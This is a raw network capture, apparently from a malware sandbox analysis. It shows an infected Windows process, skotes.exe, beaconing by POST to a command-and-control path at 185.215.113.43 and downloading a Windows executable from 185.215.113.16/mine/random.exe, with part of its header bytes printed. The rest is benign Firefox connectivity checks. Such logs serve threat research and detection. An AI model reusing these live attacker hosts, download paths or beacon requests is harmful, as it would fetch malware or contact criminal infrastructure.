Nov 1, 2024 05:54:12.049314022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:54:12.049324036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:54:12.049335957 CET	872	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:54:12.049348116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Skt#$n)n\|&1Q(a&v[l\|9o
Nov 1, 2024 05:54:12.049607992 CET	1236	IN	Data Raw: b5 f8 2e 48 35 b3 f4 18 b8 c4 12 a5 b5 f6 be 52 ae 12 30 8d 77 f8 28 3c f2 7d e6 42 b0 0f a0 12 87 6f 19 80 af 93 24 ab f3 c5 a4 7d 30 dd 58 87 f9 b3 ba 03 a5 b3 a4 5a ae 26 30 83 dc 3c 0b 27 b5 be e0 69 fa e2 23 7a fc ca b7 68 b8 e4 09 5b 9a b5 Data Ascii: .H5R0w(<}Bo$}0XZ&0<'i#zh[[cU_vjNoW/'Ap$"mk4"$y{.VMzKQylgp{gamxj!(Ozhr~4~XY~LdX)
Nov 1, 2024 05:54:12.049621105 CET	1236	IN	Data Raw: 6a d3 4d 84 ae f9 c5 9c 68 4c ab 9f 6b f7 c9 43 e4 e6 5d 4f 9a 08 47 a4 5e df 6f 65 65 04 22 4d 73 34 d3 a6 55 ea dc 99 6b da bd 02 c7 f2 56 55 07 d8 1e a8 67 0b 30 a3 58 bf 00 c5 59 bd a5 0a 7d 22 c0 91 5d 54 e0 12 6a db b9 cf 40 24 28 dd 3c 6b Data Ascii: jMhLkC]OG^oee"Ms4UkVUg0XY}"]Tj@$(<kmvDhJG<u2r5j{qKEceRjBT@vjBLc:5XhZ2~E4r4*Un`XypvPcl!
Nov 1, 2024 05:54:12.070080996 CET	1236	IN	Data Raw: 11 fe 3b be 89 06 dd 2d 71 64 c3 c2 c5 be 9b 57 4c ca 4d 86 a3 af 12 c3 ed d8 4b 29 77 a2 e4 b3 60 88 21 38 71 51 9c f7 31 c8 0a 76 98 03 fd 1e 12 c5 90 7f 05 02 1d b8 97 f2 e8 40 f6 d9 ff 6a 6a 77 a4 c7 fd dd 0d 2d 99 f9 12 9d 86 e8 21 b7 94 ae Data Ascii: ;-qdWLMK)w`!8qQ1v@jjw-!`umVom.\|i_o0w<&\,Yy?$Z/=\|/S@}N4n<'xH9&li[~vy+yl.,M
Nov 1, 2024 05:54:13.768117905 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:54:14.049174070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:13 GMT Content-Type: application/octet-stream Content-Length: 1917440 Last-Modified: Fri, 01 Nov 2024 04:44:30 GMT Connection: keep-alive ETag: "67245cae-1d4200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0L@WkD\|K,K @.rsrcD@.idata @ +@xywzvhpg01&@guxxlfzwK@.taggant0L" @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50097	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:12.440131903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:13.351131916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50099	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:14.942639112 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:15.849384069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50100	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:17.587954044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:18.484343052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50108	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:19.894670963 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:20.495809078 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71301 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:20.531131029 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:20.656596899 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71301 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:20.748728037 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:20.873558998 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71301 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:20.968475103 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:21.093472004 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71302 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:21.114617109 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:21.239382982 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71302 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:21.767045975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:22.215675116 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71302 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:22.216569901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71302 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:22.231283903 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:22.355959892 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71303 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:22.891155958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:23.016516924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71303 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:26.766181946 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:26.891109943 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71307 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:36.931994915 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:54:37.433722973 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:37.558482885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71318 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:47.637116909 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:54:50.487901926 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:50.612334013 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71331 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:51.121140003 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:51.245882988 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71332 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:54:58.350578070 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:54:58.478394985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71339 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:55:08.541660070 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:18.636253119 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:19.744725943 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:55:19.869596958 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71360 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:55:23.381702900 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:55:23.506827116 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71364 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:55:33.531546116 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:39.070918083 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:55:39.195672035 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71380 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
